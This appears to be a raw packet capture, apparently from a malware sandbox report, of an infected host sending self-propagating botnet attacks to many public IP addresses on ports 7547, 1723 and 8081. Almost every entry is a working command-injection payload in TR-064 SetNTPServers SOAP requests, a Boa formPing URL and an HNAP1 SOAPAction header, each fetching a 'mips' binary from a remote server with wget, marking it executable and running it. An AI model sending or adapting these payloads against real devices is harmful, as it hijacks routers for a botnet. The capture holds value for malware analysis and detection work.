Apr 15, 2024 08:53:19.195960999 CEST	483	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Mon, 15 Apr 2024 06:53:19 GMT Content-Type: text/html Content-Length: 249 Connection: close Via: skunlun7.cn5571[,0] Timing-Allow-Origin: * EagleId: 0000000017131639990378211e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1><p>Your browser sent a request that this server could not understand.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
798	192.168.2.13	56336	175.241.110.45	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:17.370632887 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
799	192.168.2.13	49050	119.28.4.151	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:17.525183916 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
800	192.168.2.13	48588	190.34.112.81	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:17.653125048 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:17.934990883 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 06:53:17 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
801	192.168.2.13	48600	190.34.112.81	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:17.922295094 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:18.193269014 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 06:53:17 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
802	192.168.2.13	59264	175.196.224.130	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:17.942755938 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
803	192.168.2.13	36606	179.215.18.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:17.972634077 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
804	192.168.2.13	44370	94.123.49.193	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:17.993345976 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
805	192.168.2.13	36454	109.168.255.45	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:18.013230085 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
806	192.168.2.13	59268	175.196.224.130	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:18.233916998 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
807	192.168.2.13	36618	179.215.18.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:18.293036938 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
808	192.168.2.13	37446	97.70.29.201	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:18.302284956 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
809	192.168.2.13	44382	94.123.49.193	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:18.336251974 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
810	192.168.2.13	36466	109.168.255.45	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:18.367248058 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
811	192.168.2.13	37478	97.70.29.201	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:18.526408911 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
812	192.168.2.13	41204	172.250.90.166	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:18.670747042 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
813	192.168.2.13	56342	175.241.110.45	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:18.697031021 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
814	192.168.2.13	47222	174.113.162.21	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:18.759947062 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
815	192.168.2.13	41216	172.250.90.166	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:18.834192038 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:19.366748095 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
816	192.168.2.13	55572	152.171.203.31	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:18.960732937 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
817	192.168.2.13	60068	211.218.225.190	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:18.960839033 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
818	192.168.2.13	47234	174.113.162.21	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:19.017884016 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
819	192.168.2.13	60082	211.218.225.190	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:19.249445915 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
820	192.168.2.13	55586	152.171.203.31	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:19.251039028 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
821	192.168.2.13	53144	164.250.45.50	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:19.330195904 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 